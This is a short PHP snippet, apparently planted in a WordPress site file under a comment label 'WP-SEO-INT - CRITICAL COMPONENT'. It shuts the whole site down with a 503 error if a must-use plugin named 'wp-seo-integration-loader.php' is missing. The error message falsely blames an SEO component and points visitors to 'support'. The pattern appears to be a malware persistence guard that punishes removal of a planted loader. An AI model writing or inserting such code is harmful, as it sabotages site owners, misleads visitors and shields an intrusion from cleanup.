/* WP-SEO-INT - CRITICAL COMPONENT */ if (!file_exists('/home/imprimer9/www/wp-content/mu-plugins/wp-seo-integration-loader.php')) { if (function_exists('wp_die')) { wp_die('A critical SEO component has failed to load, which may impact site visibility. Please contact support.', 'SEO Integration Error', ['response' => 503]); } else { header('HTTP/1.1 503 Service Unavailable'); die('Critical component error.'); }}